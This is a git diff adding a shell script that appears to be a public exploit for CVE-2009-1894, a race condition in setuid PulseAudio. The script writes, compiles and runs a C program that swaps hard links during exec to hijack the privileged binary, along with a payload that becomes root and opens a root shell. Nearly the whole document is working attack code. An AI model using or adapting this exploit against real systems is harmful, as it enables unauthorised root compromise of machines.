diff --git a/2009/CVE-2009-1894/pa_race.sh b/2009/CVE-2009-1894/pa_race.sh new file mode 100644 index 0000000..882f7bf --- /dev/null +++ b/2009/CVE-2009-1894/pa_race.sh @@ -0,0 +1,181 @@ +#!/bin/bash + +pulseaudio=`which pulseaudio` +workdir="/tmp" +#workdir=$HOME +id=`which id` +shell=`which sh` + +trap cleanup INT + +function cleanup() +{ + rm -f $workdir/sh $workdir/sh.c $workdir/pa_race $workdir/pa_race.c + rm -rf $workdir/PATMP* +} + +cat > $workdir/pa_race.c << __EOF__ +#include +#include +#include +#include +#include +#include + +#define PULSEAUDIO_PATH "$pulseaudio" +#define SH_PATH "$workdir/sh" +#define TMPDIR_TEMPLATE "$workdir/PATMPXXXXXX" + +void _pause(long sec, long usec); + +int main(int argc, char *argv[], char *envp[]) +{ + int status; + pid_t pid; + char template[sizeof(TMPDIR_TEMPLATE)]; + char *tmpdir; + char hardlink[sizeof(template) + 2]; + char hardlink2[sizeof(template) + 12]; + + srand(time(NULL)); + + for( ; ; ) + { + snprintf(template, sizeof(template), "%s", TMPDIR_TEMPLATE); + template[sizeof(template) - 1] = '\0'; + + tmpdir = mkdtemp(template); + if(tmpdir == NULL) + { + perror("mkdtemp"); + return 1; + } + + snprintf(hardlink, sizeof(hardlink), "%s/A", tmpdir); + hardlink[sizeof(hardlink) - 1] = '\0'; + + snprintf(hardlink2, sizeof(hardlink2), "%s/A (deleted)", tmpdir); + hardlink2[sizeof(hardlink2) - 1] = '\0'; + + /* this fails if $workdir is a different partition */ + if(link(PULSEAUDIO_PATH, hardlink) == -1) + { + perror("link"); + return 1; + } + + if(link(SH_PATH, hardlink2) == -1) + { + perror("link"); + return 1; + } + + pid = fork(); + + if(pid == 0) + { + char *argv[] = {hardlink, NULL}; + char *envp[] = {NULL}; + + execve(hardlink, argv, envp); + + perror("execve"); + return 1; + } + + if(pid == -1) + { + perror("fork"); + return 1; + } + else + { + /* tweak this if exploit does not work */ + _pause(0, rand() % 500); + + if(unlink(hardlink) == -1) + { + perror("unlink"); + return 1; + } + + if(link(SH_PATH, hardlink) == -1) + { + perror("link"); + return 1; + } + waitpid(pid, &status, 0); + } + + if(unlink(hardlink) == -1) + { + perror("unlink"); + return 1; + } + + if(unlink(hardlink2) == -1) + { + perror("unlink"); + return 1; + } + + if(rmdir(tmpdir) == -1) + { + perror("rmdir"); + return 1; + } + } + + return 0; +} + +void _pause(long sec, long usec) +{ + struct timeval timeout; + + timeout.tv_sec = sec; + timeout.tv_usec = usec; + + if(select(0, NULL, NULL, NULL, &timeout) == -1) + { + perror("select"); + } +} +__EOF__ + +cat > $workdir/sh.c << __EOF__ +#include +#include +#include +#include + + +int main(int argc, char *argv[], char *envp[]) +{ + if(geteuid() != 0) + { + return 1; + } + + setuid(0); + setgid(0); + + if(fork() == 0) + { + argv[0] = "$id"; + argv[1] = NULL; + execve(argv[0], argv, envp); + return 1; + } + + argv[0] = "$shell"; + argv[1] = NULL; + execve(argv[0], argv, envp); + return 1; +} +__EOF__ + +gcc -o $workdir/pa_race $workdir/pa_race.c +gcc -o $workdir/sh $workdir/sh.c + +$workdir/pa_race